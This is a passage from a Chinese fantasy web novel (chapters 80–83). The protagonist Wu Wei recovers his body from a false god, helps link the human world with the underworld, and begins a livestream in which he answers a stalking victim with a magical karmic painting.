“是啊,地府是个很包容的社会,若不是不能放任伪神在人间作乱,我都不想回来了呢。”
[补药啊,那可是死亡欸,惟崽不怕吗?]
“为什么你们都喜欢叫崽?”吴惟表示不理解,“因为我本来就已经死了啊,那家伙设计我死亡的时候,心脏都破裂了。”
他这话说的无所谓,但听者们却倒吸了口冷气,尤其是鹿鸣,他和见明相处那么久,谁知道居然是个杀人犯。
他不知道这伪神已经吞了一百多人的灵魂了。
[卧槽,心脏破裂了还能活下来,怎么做到的]
[听着就好疼啊]
“别这么看着我啊,真的没事,反而这一年在地府玩的挺开心。”吴惟辩解了一句,他觉得千叠和季慎思看他的眼神有点可怕。
吴惟干咳了一声向弹幕解释道,“是一些玄学手段,不过也是因为那个伪神的算计才能活下来,大家不要学。”
“对了,为了防止有人觉得地府好想要自杀的,这里科普一个小知识。”
“若是无故自杀,会被地府当做你是真不想活了直接送去轮回,而轮回不是个体轮回,也就是说入了轮回就等于彻底死了,没有下一世了,所以大家自杀要慎重。”
[神特么自杀要慎重,好家伙,真的好家伙,这用词抬癫了]
[惟崽你精神状态还正常吗?]
“好了下一个吧,我占用时间有点太长了。”
[惟崽:电量耗空,勿扰]
[好好好不为难你了,我想问风神大人是真的没有一次召风放空的吗]
“是啊,只要我说风来就一定会有。”话音刚落下,窗外刮起了一阵风,不是很大,但已经能听到树叶沙沙作响的声音了。
千叠摊了摊手,“呐,看到了吧。”
[这是什么原理?]
“不知道,我从小就这样,小时候还被当成怪胎。”
“我也是。”季慎思也插了进来,“因为说啥啥不灵,他们都把我当扫把星。”
[好惨啊,这个确实,不说这诡异的能力了,人一旦表现出来不一样就容易被针对,尤其是内向的人]
[我也是,就是因为长得矮了一点被全班男生嘲笑,这个惟崽应该也懂吧]
[杀人诛心啊前面的]
[笑死,一堆185里面一个不到180的,还被弹幕点太惨了]
“这个啊…我还真没法感同身受,”吴惟脑海中过了一遍上学时期的事,说道,“都是我单方面孤立别人来着。”
千叠:“你那不叫孤立别人,你那叫神游太虚!”
季慎思:“哦对,观众朋友们应该还不知道咱家神子大人的特殊能力是啥吧?”
“他是会隐身的,那种走到你面前,你都不一定能发现他的那种!”
[!我靠,社恐人实名羡慕]
[这什么神仙技能,我也想要]
[啊这,其实我也有点,不知道为什么,身边的人总是会说这话呢突然就把我给忘了,这感觉挺不好受的其实…]
[摸摸前面的,我也是,因为身体弱说话声音小,他们都无视我,难过了好久,不过一个人孤立所有人听起来好酷啊]
[所以惟崽不会孤独吗?]
“会啊,但是我有oc陪伴。”
.
81.第 81 章
[问问宁老师是死后认识的惟崽还是生前就认识?]
宁淮:“死后。”
[好简洁的回答,说真的这答案我一点都不意外,要是生前怎么可能一点交集也没有]
[我就不一样了,我只想问闹闹呢?]
“它在外面玩呢,担心?不担心,它都快成精了,只有它戏耍别人的份。”
有些精怪,经不起念叨,一念叨就回来了。
闹闹自己打开窗户钻了进来,飞上吴惟肩膀,又蹭了蹭他脸颊,“惟惟~挠挠~”
闹闹喜欢挠脖子。
宁淮:“……”
“看吧,已经成别人家的鸟了。”
“淮淮~碰不到~碰不到~”
[草啊,好聪明,笑死因为碰不到所以不找你,这逻辑满分]
[哈哈哈哈被自家鸟鄙视了]
[话说鹿哥是怎么认识惟崽的]
“我就不配一个吴哥吗?”吴惟小声逼逼。
[我现在相信惟崽确实整天被无视了,笑死,没记错的话前面他就说过不想被叫崽,结果没人听]
[可是大家都叫你崽欸]
[为什么惟崽想到的不是惟哥,说实话吴这个姓多少有点烂大街了,吴哥叫着很像路人甲哎]
[楼上拔刀吧]
鹿鸣笑了,“学长,我叫的一直都是学长。”
“嗨呀,我之前,就是去年校庆的时候,不是在学校有演唱会嘛,刚好学长去看了,后来在校园里遇上了。”
[原来是那个时候]
“对,我不是川省人嘛,关注过学长一段时间,这不就认出来了,虽然学长有点社恐,但我可是社牛,拿下学长还不是分分钟的事。”
[可把你得意坏了哈哈哈哈]
[社牛赛高]
.
吴惟捏着自己的大臂有些叹气,果然伪神不是个好东西,那家伙一年都没锻炼了吧,肌肉都下去了。
有愿力身体也不是那么造的,这两天他随便打打八段锦都觉得上不来气。
只能说不止业火的功劳,这人早早的就在糟蹋自己身体了,现在的身体连小肚子都有了。
之前他在山里生活那段时间,跟着孰湖在山里跑,只要不是太陡的坡都可以自己走。
现在走几步都喘,上山下山全靠孰湖,真痛苦。
回去就辟谷!一边辟谷一边锻炼效果更佳。
至于为什么这段时间没有,主要是他还不适应身体,加上拍着综艺还是不要太特殊好。
本来就够吸引人注意了,再搞搞特殊,心里实在过不去那道坎。
而且万一有人有样学样又没学到精髓,辟出事了怎么办?
毕竟在有些人眼里辟谷就是不吃,但是心态不好就成了纯绝食了,不仅起不到调养身体的功效,反而会让身体更糟糕。
如今他终于可以一个人呆着了,自然要把调养身体放在首位了。
结果没想到,刚回到住处,玄门和同学都上门拜访了。
吴惟:“你们一个个都不上班吗?”
殳玲:“你可以看看咱们班有几个正经上班的?”
班长殳玲有自己的游戏公司,喵姐云菲开猫咖,仰飞光那家伙是自己接活做墙画,顾六六家里蹲。
千叠带摄影团队,呱呱沃语海开花店,单调有自己的品牌,蛊神乐楚楚卖爬宠,假道长文静开纹身店。
从饶是暂时没工作,对称兄甘经亘也是自己接活做图形设计,唯一正儿八斤上班的只有季慎思,但老板对他的图谋只有嘴。
哦不对,还有虫虫沃语冰,在设计院工作,而且还特别忙,在三班算是异类了,好在她有年假。
认真一盘下来,他们班同学真的各个都过的不错呢。不给人当牛马就是过的不错,没毛病。
再看玄门那边,玄学大师不算正经工作,正经工作反而随便请假,根本根本不带怵的。
难怪能来这么齐。
有一句乱码不知当讲不当讲…
生活不易,吴惟叹气。那怕是熟人社交也很耗电好吧。
“好啦好啦,知道你需要休息,”殳玲拍拍吴惟肩膀,“有话我们就直说了。”她抬抬下巴示意常皓轩。
常皓轩清了清嗓子,说道:“是这样的,你不是可以连通地府吗,我们是想要不你把之前见明做的事业给续上…”
“见明是谁?”
“就是那个伪神。他之前不是用你身体开直播给人解决问题嘛。”
吴惟:“?”
“这种事不能电话里说嘛?!”
常皓轩笑地有些讨好的意味,说道,“咳,是这样的,我们之前不是商量着想要和地府合作嘛。”
“你之前也说,想要给人间升维,说实话咱们这边也需要地府的帮助,但咱们这边能够接触到地府的人只有你。”
“所以又要干嘛?”吴惟麻木了,真就是逮着他一个劲的薅呗。
他也只是认识几个判官城隍而已,又没有多大人脉。
苍:“小惟惟你太妄自菲薄了一点。”
“能替我们牵线搭桥一下吗?”
倒不是说完全没有办法,他们可以试着请神,更何况沅柩当初也留了信物。
但只有吴惟正儿八经和地府那边有交情。若是能走从他这边的路,自然也就没有必要舍近求远了。
苍从吴惟意识里飞出来,“我是大地之母神侍,的有什么事直接和我说吧。”
让它家崽好好休息休息吧,可怜见的。
众人惊讶,虽然之前不是没有见识过腾蛇的能力,但他们还真不知道它的身份。
常皓轩道,“行,那我直说了,我们希望可以建立一个人间和地府双方沟通的桥梁。”
“如果可以,我们建立起一个协会性质的组织,双方人员可以都可以加入,资源可以互通共享。”
“当然,条例你们那边也可以提,我们只是提供一个框架。”
苍甩甩尾巴,“可以,具体事宜可以再商量,但是吴惟必须是会长。”
吴惟:“?”
不是这跟我有啥关系,我不会管理啊?!
“可以,我们也是这么想的。”
吴惟和地府人间双方都有关系,自然是最能令人信服的人选,只是本人意识不到而已。
他们说好之后地府会派代表来谈判,双方商量完正事,一起吃了个便饭,就各自回去了。
吴惟:“不是,你们就说这个事,非要所有人都跑过来一趟?”
楚星垣:“来看看你怎么样了,毕竟那么久没见了,中途还出了事。”
夙逸兴:“对啊,看到你你之后放心多了,不过你现在身子骨有点弱啊。”
不说这个还好,一说吴惟就来气,“我本来养的好好的,都是那个伪神糟蹋的!”
夙逸兴怜悯地拍拍他的肩膀,“再练吧兄弟,加油。”
“嗯。”这一声应的有气无力的,哀大莫过于心死,吴惟内心胡言乱语地吐槽着。
.
日子回到了往日平静的样子。
不过这只是错觉,因为吴惟哪怕没有离开园区,都能看到周围人忙碌的身影。
那边合作谈下来了,根据地肯定是这里没跑了,不过这跟吴惟有什么关系呢,他只是一个被迫害的小可怜:)
算了,命运这玩意他从来都左右不了,干脆两眼一闭,好好享受最后的宁静时光。
辟谷效率是很高的,前两天还在出虚汗,第三天已经没什么感觉了,正常跑跳走路都没什么问题了,只是肯定不可能那么快回到当初。
三天后吴惟感觉嘴里感觉结了一层厚厚的舌苔,口臭自己都能闻到了,还真是好久没这个感觉了呢。
身体里有毒素的时候,辟谷的时候确实会口臭,而且属于是一天刷好几次牙都白搭的那种。
这就是一种很正常的排毒反应,只不过鼻子有点遭罪,何况他鼻子还是属于很灵的那一挂。
“哥,要不还是算了吧?”吴烬看着他的死鱼眼睛有点不忍。
但吴惟很坚持,“不行,虚弱的感觉更难受,这叫两害相较取其轻!”
更何况身体和人生是一个道理,由俭入奢易,由奢入俭难。
就像心脏从间歇到早搏,哪怕有时候心跳的太快依旧会不舒服,但相较于时不时的心悸还是能忍的。
从一开始就虚弱和健康人变虚弱,在感官上是两个概念,尤其是像吴惟这种曾经虚弱过的人,对这种感官会更加恐惧。
不过他也知道要循序渐进,若是发狠了去练只会伤身,是以这段时间也就练练八段锦五禽戏这种不剧烈的运动。
至于他的腹肌,等他身体好点再说吧。丫的真就是一朝回到解放前,好心痛:)
好在感官是可以欺骗的,虽然他自己感觉很差,但其实当初练出来的身体底子还在,恢复起来也很快。
曲枫荷临走时
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给他开了滋补的药,再加上他现在有愿力傍身,想要恢复到从前的状态,养起来也不慢。
吴惟给自己放了一个月的假,白天起来就是锻炼,在小湖边放空一下自己,再画会儿画。
晚上睡觉的时候要是不想睡,就回地府逛逛,反正需要睡眠的主要是身体和大脑,跟他灵魂有什么关系呢?
人间和地府合作,要扯皮的事肯定不少,但跟吴惟就没什么关系了,两边都知道他是什么性子,都没有去打扰他。
吴惟这一个月可以说安稳极了,哪怕在地府闲逛都没遇上什么事。
但岁月静好的也只有他了,不说官方和地府这边,玄门那边炸开了锅,[里世界]里都在找他。
部分人在赈灾的时候就知道吴惟的存在,当然有人记住了,有人没往心里去,毕竟玄门能人异士太多了。
更多的还是压根不认识吴惟这号人的,只是听过一耳朵。
如今官方宣布和地府达成合作,这人便是那个牵头之人,一时之间众云纷说。
[这人到底从哪冒出来的,一个毛头小子能担此任?]
[不是说年轻不行,但是至少也得有能力有名望吧,他做过什么,有人能证明他的实力吗?]
[赈灾的时候见过,手段单一,没啥特别的能力]
[我倒是听说过,赈灾那会儿官方能得到有用的信息,提高救援效率是因为他,此人应当不简单]
[有啥不简单的,随便一个卜师都能做到的事]
天地反覆:[我咋不知道,随便一个人就能做到了,来来让我瞧瞧,反正本天下第一卜做不到]
[卧槽?大佬都出来背书了,这个吴惟很强?]
月隐轻纱:[很强]
[宋阵师都说很强了,那一定有他可取之处,都散了吧]
[谁知道这是不是隐峰的人,他们在给自己的弟子造势呢]
[?那就更不用担心了,隐峰都是些什么人,大家都知道]
[所以有人知道他的能力吗?]
[……]
[等等,这个吴惟不是之前哗众取宠的鼠辈吗,厉害是挺厉害,但是这人一看就心术不正]
[让一个心术不正的人上位?官方怎么想的?]
曲院风荷:[是个好孩子,被人占了一年身体,刚抢回来]
[神医也认识?被人占了身体什么意思?夺舍?]
曲院风荷:[嗯]
[之前综艺直播我看过,这人是个神修,而且拥有业火,和地府也有些关系,很强,好奇的话不如自己去看,我找人鉴定过了,不是特效 #链接#]
[这…真的是业火,好浓郁的功德,他真的是个二十多岁的人?不是哪个鬼神跑到人间了?]
[不会的,如果是鬼神,天道不会放祂出来,祂们没有干涉人间的权限]
[可是那伪神也不能算人间的吧]
[那就不知道了]
[无论如何,这人的实力,以及在地府的人脉,都足以证明他的能力了,大家散了吧,这件事没什么好争议的了。]
炸开的不止有玄门,综艺剪辑出来之后,网上更加沸腾了。
有闲追直播的毕竟是少数,大多数人也就看看剪辑,平时拿来下饭。
一场综艺下来,不少人三观崩碎,很难再拼回来,在网上各种发疯,吸引了更多的路人。
有越来越多人加入讨论,论证真伪,大多数人无法相信但又无法证伪,更何况现在技术达不到那个层面,而且官方没有封杀才是最有利的证明。
还有一部分人本就对玄学半信半疑,自然也接受良好。甚至有些一部分人已经开始浑水摸鱼,想要趁机捞一笔了。
其中还有一小部分人,因为自身的特殊备受折磨,看了综艺之后发现这个世界不止有自己不正常,忽然感到释然,甚至有些自豪。
当然,看综艺的人中,有不少曾经见明的粉丝,毕竟综艺报幕里有吴惟的名字。
那些理智一点的还好,知道曾经喜欢的或者帮过自己的人是小偷,甚至伤害过更多的人,虽然心里不舒服,但不会认为吴惟做的事有什么问题。
但见明毕竟曾经当过神,最懂得人心对它们神修的重要性,自然会想办法培养一批“狂信徒”,也就是现在所谓的死忠粉。
那部分死忠,坚定的认为是吴惟害死了他们的明神,甚至要求官方处死吴惟,真是看的人满头问号。
.
82.第 82 章
不论那群人在网上怎么发癫,官方都不会理会的,甚至还抓进去了几个造成影响比较恶劣的典型。
但相对于发癫的人来说,更多的还是考虑利益。
之前见明的做法是开直播连线算卦,一天起一挂,会解决对方的一些问题。
至于算卦对象,有时候是抽,若是有人打赏额度过大他也会接。
至于具体的,视情况而定,因为他的能力强,基本没有解决不了的问题,口碑还算不错的。
如今吴惟拿回身体,把见明给送下地狱了,那些指望着见明帮忙办事儿的人,路被堵了,自然对吴惟意见也不小。
当然如果吴惟也可以像见明一样帮到自己,自然不介意他代替见明,但吴惟综艺之后直接消失了…
不对,也不算消失,偶尔会发发画,对于那方面的事完全不过问,由着他们骂。
没多久这人就消失不见,准确的说从他们意识里消失不见了,紧接着是各种倒霉,让他们无心上网。
至于吴惟那些粉丝,尤其是那些原本的画粉,早就见怪不怪。
[噫,怎么不骂了,是不想骂了吗?]
[笑死,杀人诛心,不过那些人应该看不到了,太太这隐身技能我还是好眼馋啊,要不是把他设为特别关注放在第一排,我早就不知道这是谁了]
[可不,我也是,每次上线看到他头像都得想半天,这是谁?我为什么要关注他]
[笑死,谁不是呢]
[别人粉的人总是各种整活,咱家太太就是各种消失,真是绝了]
[话说我给咱们粉丝想了两个名字,一个无相一个有道,你们觉得哪个好]
[为啥是这俩?我感觉有道好,听着很道系,符合我对太太刻板印象]
[可是我觉得惟崽是佛系的呀,别人努力向前冲,他缩在后面慢悠悠]
[主要是无为和有道听着很配啊,一个无一个有,而且无为的本意是“无为而无不为”,主打一个顺其自然,和惟崽的性格很像,而顺其自然就是道,这名字起的很好]
[是这个意思,无相是因为佛教不是有无为法离生灭之相,即是无相,而且无相也是无尽,惟崽他弟弟名字不是叫吴烬嘛]
[卧槽这么一说这兄弟俩好会起名,一个吴惟,无为,惟也有思考的意思,看惟崽的做的世界观就能感觉出来他的内心世界有充盈。
吴烬,无尽,烬也有焚烧过后的残留,应该指的是指他被惟崽救了之后,也是新生,而且无尽在佛家那边就是无为法的意思,他是不是在暗搓搓Q哥哥呢,不行这有点好嗑啊 #滑稽# ]
[这么一说还真是,一个名字这么多小心思,为什么和哥哥长得一样,我才不信他不是故意的]
[有没有人说,弟弟的泪痣好好看,明明这种面相应该很皮才对,像花火那样,但是在这张脸上我似乎看到了悲情和怜悯]
[有没有一种可能,皮的不是泪痣,是点在脸上的,烬崽那个位置,更像泣泪,所以叫泪痣啊]
[这么说起来…我要给无相投一票!!]
[我还是选有道,道也是无穷无尽的啊,无相给人感觉太远了,还是道系让人更舒服一点]
[+1道系好,我也选有道]
[……]
话题歪到起粉丝名上了,两边打得不可开交,有人就开始艾特吴惟,还真让吴惟看到了。
事事无为:[……不是没必要吧,算了你们高兴就好,我选有道因为地府叫无相了= =]
[好嘛,地府叫无相,人间就叫有道是吧,什么互补,等等,惟崽你在地府也有粉丝?!]
[盲生,原来地府这么现代化嘛]
[最主要的难道不是跟咱们想一块了?]
事事无为:[倒也没有,但是网络发达是真的,有些现代还没有直接用法术方便的方面,地府就干脆没建,但是发达程度肯定比你想的要高]
事事无为:[让我缓一段时间,开直播跟你们讲]
[好耶,是直播,话说惟崽也会跟见明一样算命吗]
事事无为:[我不会,不过可以试着帮你们解决一些事儿,不行的我可以摇人,规矩沿用祂的模式,不过不接受打赏插队]
[这么拽?连能力都不知道怎么样呢,就不接受打赏了]
[鬣狗闻着味就来了,啧,你们明神就是个小偷,你再捧也没用]
[杀人犯,把我们明神还回来!]
因为吴惟在评论区回消息,被顶上热搜,遗忘他的人又想起来了,一些不友善的评论再次出现。
事事无为:[那还真不好意思,真有问题请找特事局,恕小民我爱莫能助,对了这里插播一条关于见明的资料,阴律司已授权,有任何问题请百年后下地府再问#图片#]
[草啊,神特么百年后下地府再问,笑死我了哈哈哈哈哈,太太什么时候这么促狭了]
[五年老粉告诉你,惟崽其实一直都促狭的,只不过以前不怎么出现,加上经常被遗忘,才会给你感觉羞涩又正经]
吴惟贴出来的信息是功德簿上拓印下来的生平,此人前半辈子就是个普通人,后来无意间救了一只白仙,也就是刺猬成精。
白仙为了报恩,将自己一半功力赠予他,使他成为一个修行人。
在这之后,见明又陆续跟过几个神修,学习了不少术法,然而还没等他成神,就遇上那场属于神明的浩劫,满天神佛皆入轮回。
见明因为还差些火候,又没有做恶,逃过了一劫,但未成神的修行者寿数也是有限的。
他为了活下去,甚至找了各种邪修的法门,不仅限于夺舍、炼魂、盗窃他人命格等,死在他手上的人可不止小安村那132具白骨。
那些人没有一个入了轮回,通通被祂吞噬殆尽。
[难怪祂那么惧怕业火]
[真是罄竹难书!]
[可是若非人走上绝路又怎么会做那种事?无论如何明神都救了很多人]
[无论如何他也害了很多人,如果我把你杀了,去救别人你愿意吗,人都是要为自己的行为负责的,他既然选择为了活下去去杀人,就该为了那些人的灵魂负责]
[科普一个玄门冷知识,那场浩劫之后,其余修行者只是无法再长寿,而不是直接就死了,你们一群朝生暮死的普通人去心疼一个追求长生的神是有什么大病吗]
[原来是这样,就是说嘛,又没让他死,活了那么久还不够吗,就是贪]
[这样的人在我们中间不觉得可怕吗,还捧他,真不知道怎么想的]
[谁知道这是真的假的,说不定是你为了代替明神故意编的,你才是那个偷别人身体的小偷]
[?]
[好离谱啊?脑子被僵尸给吃了?]
事事无为:[对对对你说的都对,没什么事的话我先撤了,半个月后见]
[补药啊还要那么久?]
[呜呜呜,惟崽你怎么能这么没有事业心,半什么月,我劝你明天就直播]
[散了吧,别为难崽了,他也不容易,刚刚拿回身体还要适应吧,看综艺上有气无力地样子,真让人心疼啊]
[说起来我在想一件事,惟崽身体被那个邪神糟蹋那么久,现在还好吗 #图片# #图片# ]
两张图片一张是《万劫》花絮中没有换衣换戏服的吴惟的背影,虽然衣服还算宽松,但隐约能看出猿背蜂腰的线条。
第二张是综艺直播的截图,可以很明显看出肚子那里圆了一圈,上身反而变薄了些,好在邪神也是要脸的,没有弯腰驼背。
[草啊,这仇不共戴天了好吧,那么好的身材就这么糟蹋了]
[吐了,别人的身体就是不用好好爱惜是吧]
新一轮的声讨又开始了,不过这跟吴惟没啥关系了,他又跑地府玩了。
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有些人呐,不想让别人叫自己崽子,但行为上却越活越回去了,没事蹲在人家小鱼面前戳泡泡这种行为,真不是正常成年人能干得出来的。
鱼是动画小鲤鱼的形象,是大荒的幻影。
众所周知大荒幻影没有单独的意识,所以小鲤鱼对自己的泡泡被戳掉的行为没有半分反应。
这俩一个吐一个戳几乎不知疲倦。
婴灵到的时候就看到了这幅场景。
她站到吴惟身边,才发现问题,这些泡泡是煞气形成的,吴惟是用功德戳开的。若是真被普通鬼沾到了有可能会出事。
吴惟看到婴灵,停下了手中的动作,功德化作大网兜直接把小鲤鱼打包扔进了大荒中,拍拍手站起来。
因为此时的婴灵是少女形态。
“你去哪了,怎么这幅样子?”
“当然是去人间了,”婴灵双手抱胸,“你们活人总是很容易以貌取人,我当然不能让他们看到小孩子的模样。”
吴惟:“……不要说的好像死人不是这样。”
他可还记得婴灵上来就捏他脸,还有那群姨母笑围观自己的鬼。
婴灵显然也想到了这茬,有些不自在,“咳,总之正式场合还是需要压压场子的。”
吴惟点头,“我懂。”
“所以你呢,你在这干嘛?戳泡泡好玩吗?”
“额…这不是有点无聊嘛。”
婴灵哼笑一声道,“把活都丢给我们,然后你无聊了?”
吴惟盘腿坐下,看着眼前奇幻的风景,不同角度的空间交叠,不同的物种在自己的维度上和其他维度的生命共存,扭曲又带着合理的错觉。
“无聊和压力大不冲突。”
“哎…”婴灵老气横休地叹了口气,摸了摸吴惟脑袋,说道,“别怕,我们都会帮你的。”
“这和怕不怕没关系。”
有的时候心里和生理是分开的,理智上你知道做一件事对你来说不难,但临到头了就是会紧张,甚至全身发抖。
吴惟现在差不多就是这个状态,之前综艺都是熟悉的人,熟悉的环境,他还能在窝里横一横。
但是之后的无论是要直播和陌生人对线,还是承担起做那样一个特殊组织的管理者,对吴惟来说都是难以接受的事。
哪怕这个管理者只是个吉祥物,压力也很大的好吧。
毕竟人间和地府,两个庞然大物,都是需要这个组织来平衡的,他能当这个会长,还是因为在两边形象都不错,有那个信誉。
他很怕自己搞砸什么事导致合作破裂,哪怕吴惟也清楚自己不过纽带,在其中的作用并不大。
“只是感觉很难适应罢了。”
婴灵笑着说道,“你只要做自己就好了,本来给你争取这个会长就是为了让你做事比较方便,并不是想束缚你。”
她看着吴惟的眼神有些出神,刚遇到他的时候,谁都没有想到他最终能走到这一步。
吴惟对自己的认知好像总是很有限,不知道自己强大,不知道自己内心的柔软,不知道自己的价值,更不知道自己在别人眼里的定位。
他总是喜欢呆在角落里,把自己藏起来,用自己的方式观察和记录这个世界。
吴惟个子并不高,哪怕是身体最健壮的时候看起来也比旁人消瘦一些,平时总是懒得说话,遇到事第一反应是躲。
但就是这么一个看起来软绵绵好欺负的人,身上却有一种水火不侵的韧劲,只要有他在,就总是让人很安心。
尤其是对抗天魔的时候,祂都努力了好几次了,却一直都在做无用功。甚至可以说不停地在送外挂,可谓是心酸至极。
“嗯,我知道。”
“对了,你们想好那个组织叫什么名字了吗?”
“通灵协会。”
吴惟:“?”
这名字是不是粗暴过头了。
.
83.第 83 章
协会那边扯皮还要一段时间,但直播的事不能拖的太久,吴惟只休息了一个月,就上工了。
[崽崽好久不见啊~]
“也没有很久吧,就一个月…”
[?一个月还不久,惟崽你时间观念不太行哦]
“还好吧,活的久了就不太容易注意这些。”
“有多久?我也记不清了,地府每只鬼对时间的感知都不一样,所以有可能一年就是一百年,也有可能是一刹那。”
[这样感觉会容易乱套哎…]
“习惯就好了,反正地府也没有什么生存压力,你想怎么活就怎么活。”
“这个月都在干什么?养生健身,画画,去地府玩…考察民情。”
[你刚刚说了玩对吧,你去玩都肯直播是吧,崽崽你太坏了!!]
[就是!话说惟崽身体怎么样啊,有没有好点]
“好多了,至少现在可以出去跑业务了,不过太远的话不太行,只能灵魂出窍去了。”
[救命,为什么崽这么实诚啊,问什么答什么,太可爱了]
[这就是为什么某人强调那么多遍还会被叫崽的原因吧hhhh这什么高中生行为]
[纠正楼上,为什么…的原因…]
[不要在意这种细节啊喂!!!]
[本高中生都比崽有心机]
“好好,你们都有心机,那我们开始吧。”吴惟看话题越来越歪,赶忙转移话题。
别看他说了那么多话也不怯场,实际上在桌子底下,已经把小鲨鱼揪变形了。
吴烬默默把小鲨鱼拯救出来,换了一个小海豚塞吴惟手里。
他生存的那个年代,不存在社恐,因为那些内向的孩子也只能被迫外向,否则就是被人欺负,被淘汰的命运。
所以他不太能理解吴惟的心情。
其实在轮回中吴惟也不是没有过类似的经历,毕竟现代小说娱乐圈占了大半江山。
那些没什么追求的小明星肉身还好,有的愿望就是希望自己的身份可以站的很高,吴惟不得不硬着头皮上。
只不过无论是唱歌还是演戏他都不在行,也学不会,出来的结果就是他的明星身份,要么成了打星,要么成了玩乐器的。
毕竟只有这两样和画画一样,有付出就有回报:)
尤其是每个身份在别人的印象里都是人狠话不多,可以说真的很勉强了。
但即便是这样的经历也不能治好本能社恐,每次遇到人多的场面都需要做好心理建设。
就像现在。
“对了,还是提前叠个甲,我没有见明那么多手段,有些事儿不一定能解决的了。”
吴惟按照之前见明的习惯发了一个抽奖福袋,不一会儿结果就出来了。
连线的是一个叫“阿月岳”的妹子。
阿月岳接通之后,先打了声招呼,“崽崽你好啊。”
吴惟吐槽:“当面就不用崽了吧…”
“好的好的,惟崽。”
“…算了,你高兴就好,你先说说遇到什么问题吧。”虽然吴惟会的不多,但他还可以摇人。
妹子收起姨母笑,正经起来,“是这样的,前段时间,有个邻居加我微信,总是发一些莫名其妙的话。”
“当时他加我的时候,备注了邻居,我以为有什么事,就通过了,后来他一句话没发,我就没有在意过了。”
“直到前段时间,他突然在微信里给我发…截图我放在评论区里了。”她实在不知道该怎么开口。
吴惟点开图片看了一眼,记录里基本上都是对面发来的消息。
[今天怎么这么晚回家,你去做什么了?]
[早上好,今天这身裙子很漂亮,是要去约会吗?]
[你今天不是休息吗,为什么这么早出门?]
[怎么不去夜跑了?是不是生病了?]
[……]
诸如此类,若是生活在一起的朋友会这么问,是很正常的事,但对方是陌生人,就让人不寒而栗了。
中间还夹杂着几句“阿月岳”回的消息,请求对方不要再给自己发这种消息了,但没用,对方根本不听。
阿月岳觉得自己生活中到处都是眼睛,她一度以为家里是不是被安装什么摄像头,一直被偷拍,可是买来的检测设备都不管用。
[这也太变态了吧,小姐姐没想过搬家吗?]
“我也想啊,如果这是租的房子搬就搬了,可是这是我几乎花光积蓄买的,还有房贷。”
“这个小区治安一直都很好,我也不知道会遇到这种事情。”
“崽崽,你有什么办法帮我找到那个人吗?”
阿月岳声音带着一丝期待,她不是没报过警,只是依旧没有查到什么,这才把目光转向玄学。
不过这也算巧合了,她是吴惟的画粉,因为喜欢他的画风才关注了他,后来吴惟被见明占了身体,她又是这半年才遇到的这种事情。
她到处求助的时候,遇到了不少骗子。
没有赶走对方,反而让他变本加厉,从每天的问候升级到了每隔一段时间就会说她具体在做什么。
好在也基本只是在家附近的时候,她还可以时不时出门躲一躲,不然她觉得自己会疯掉。
她很长一段时间不敢轻举妄动了。
那时虽然无为太太好像变得很陌生,但也是她唯一的救命稻草了,可惜她没钱,也没有那点运气抽到福袋。
如今吴惟换了回来,阿月岳听他说没有见明那么多手段,心里也很忐忑,但无论如何试试总比什么都不做强。
今天她专门躲到外面看的直播,希望不要被对方发现。
“啊…找人我不太擅长。”吴惟歪了下脑袋,这么说道,阿月岳有些失望,果然不行吗?
“虽然可以用归终查,但是你要付出的代价有点太大了。”
阿月岳运势本来就低,再使用归终符阵说不定会有生命危险。
“不过如果单纯报复回去,让他没能力继续盯着你我倒是能做到。”
听到这句话,阿月岳眼睛亮了起来,“可以可以,我也不是非要找到他,只要能不打扰到我生活就好了!”
吴惟点点头,抄起画板,用十几分钟画了一张速写。
因为是速写,画面上的乱线很多,但大概可以看出是一个两点透视的客厅。
主体物是一个柔软的大沙发,上面散落着不少玩偶,茶几上摆着点心和茶杯。
让阿月岳震惊的是,吴惟的画和她家很像,连配色都很像。
她家的沙发是橘黄色的,他画的也是橘黄色,玩偶虽然有些不同,但都很符合自己的审美,窗帘也和家里一样是米色的。
唯一不同的是角落里多了一盆绿植,以及墙上不知道从那里透过来的光斑。
虽然光斑在物理上不是很符合现实,但意外的很好看。
[好家伙,我们不是看玄学直播吗,怎么突然变成绘画了,不过惟崽不愧是惟崽,画的真好看]
[我也觉得,好温馨啊]
[新来的,问一下,这不是玄学直播嘛]
[我们也搞不清楚状况啊,惟崽只说了可以帮这个妹子解决偷窥她的人,就没声了]
[本美术生膜拜,这手速也太快了吧,这才十几分钟就成型了]
[太太色感真好]
“这和我家好像啊。”就在大家胡乱猜测之余听到妹子这么感叹,弹幕也随之一顿。
[难不成…]
[想什么呢,惟崽也不可能去偷窥别人啊]
说实话阿月岳有那么一瞬间也怀疑了,但是下一秒就否认了,现在这个吴惟应该是她熟知的那个。
再说偷窥她一个普通人有什么意义吗?
更何况…
吴惟听到她的话,也停了下来,声音里透着一丝惊讶,“很像吗?”
“嗯,颜色和分布基本上一模一样,除了玩偶本身。”
“你画绿植那个位置,原本我也有想过要不要买一盆摆放,但是因为平时上班没有精力照顾,就没买。”
“这个我没有跟任何人说过,那个偷窥狂应该也不知道。”
所以她才没有怀疑吴惟。
“啊…这样啊。”吴惟点点头表示理解,随后在沙发上加了一个抱着抱枕的女孩儿,明眼人一眼就能看出来是阿月岳。
“我是看你的气质觉得很适合这个布局,下意识这么画的。”
阿月岳是一个长相很甜的妹子,眼睛弯弯像个月牙,天生就带一些笑意,亚麻色的卷发衬得整个人的气质都很温暖。
最后一笔画完,吴惟放下画笔。
在他收笔的瞬间,不知是不是错觉,阿月岳发现整个人都变得轻盈很多。
那边吴惟伸了个懒腰,把这张画发给阿月岳。
“好啦,我帮你画了因果符阵,之后你身边看看有没有谁这几天倒霉,那应该就是骚扰你的人了。”
“因果符阵?这幅画?”
[???这不是一张正儿八经的画吗,怎么叫符阵啊?]
[我也想问,到底是符还是阵,还是用符组成的阵?]
[这个我解释…]
吴惟的直播间玄门人士也不少,因为前段时间的事,他们一个个都记住这个
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名字了。
尤其是在一些修为不低的人发现自己对这个名字会逐渐感到陌生,甚至身边人开始遗忘的时候,便开始加强对他的印象了。
现在在吴惟直播间潜伏的玄门都是些有着不错修为的人,自然懂的也不少。
有些人默默看直播,想要了解一下这个能够和地府有牵扯的人,自然也有会意官方意思,主动科普的人。
[不过我也是第一次见有人在虚构的画面里画符阵的]
[所以惟崽也是风水师咯?]
[之前综艺的时候惟崽解释过的,他会的四大符阵和风水师不是一个路子]
与此同时吴惟那边也在解释有关因果符阵的用意,“是一种清算,大家都知道因果是什么意思对吧?”
“虽然没办法找出作案者,但他作弄你,和你产生了因果,符阵自然就会把果报返还给对方。”
“很方便对吧。”
吴惟看了眼弹幕,刚好看到前面解释了符、阵和符阵区别的人感叹的那一句。
